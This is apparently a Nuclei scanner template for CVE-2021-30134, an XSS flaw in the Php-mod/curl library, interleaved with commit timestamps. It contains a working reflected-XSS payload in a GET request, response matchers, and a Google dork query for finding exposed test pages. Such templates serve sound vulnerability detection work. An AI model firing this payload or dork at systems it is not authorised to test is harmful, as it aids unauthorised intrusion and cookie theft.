2023-02-16 05:05:10 +00:00
id : CVE-2021-30134
info :
2023-03-07 21:27:38 +00:00
name : Php-mod/curl Library <2.3.2 - Cross-Site Scripting
2023-02-16 05:05:10 +00:00
author : theamanrawat
severity : medium
description : |
2023-03-07 21:27:38 +00:00
Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to Php-mod/curl Library version 2.3.2 or later to mitigate the vulnerability.
2023-02-16 05:05:10 +00:00
reference :
- https://wpscan.com/vulnerability/0b547728-27d2-402e-ae17-90d539344ec7
- https://nvd.nist.gov/vuln/detail/CVE-2021-30134
classification :
2023-02-16 08:30:30 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-02-16 05:05:10 +00:00
cve-id : CVE-2021-30134
2023-02-16 08:30:30 +00:00
cwe-id : CWE-79
2023-11-27 09:19:41 +00:00
epss-score : 0.00078
2023-12-12 11:07:52 +00:00
epss-percentile : 0.32706
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:php_curl_class_project:php_curl_class:*:*:*:*:*:*:*:*
2023-02-16 05:05:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : php_curl_class_project
product : php_curl_class
2023-09-06 12:09:01 +00:00
google-query : inurl:"/php-curl-test/post_file_path_upload.php"
2023-12-05 09:50:33 +00:00
tags : cve,cve2021,xss,php-mod,wpscan,php_curl_class_project
2023-02-16 05:05:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-02-16 05:24:57 +00:00
- method : GET
path :
- "{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)>"
2023-02-16 05:05:10 +00:00
2023-02-16 05:24:57 +00:00
matchers-condition : and
2023-02-16 05:05:10 +00:00
matchers :
2023-02-16 05:24:57 +00:00
- type : word
words :
- 'key":"<img src onerror=alert(document.domain)>"'
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2023-12-12 12:02:03 +00:00
# digest: 4b0a00483046022100afe8fa1ad07ef17bb604f247d587cfcb592197b50f4f42bf67456c0f5ec0a55d022100dd67747d9c0fed878e250c2b9d7a840a145a81a123afb0e37428153e3f8a1b8b:922c64590222798bb761d5b6d8e72950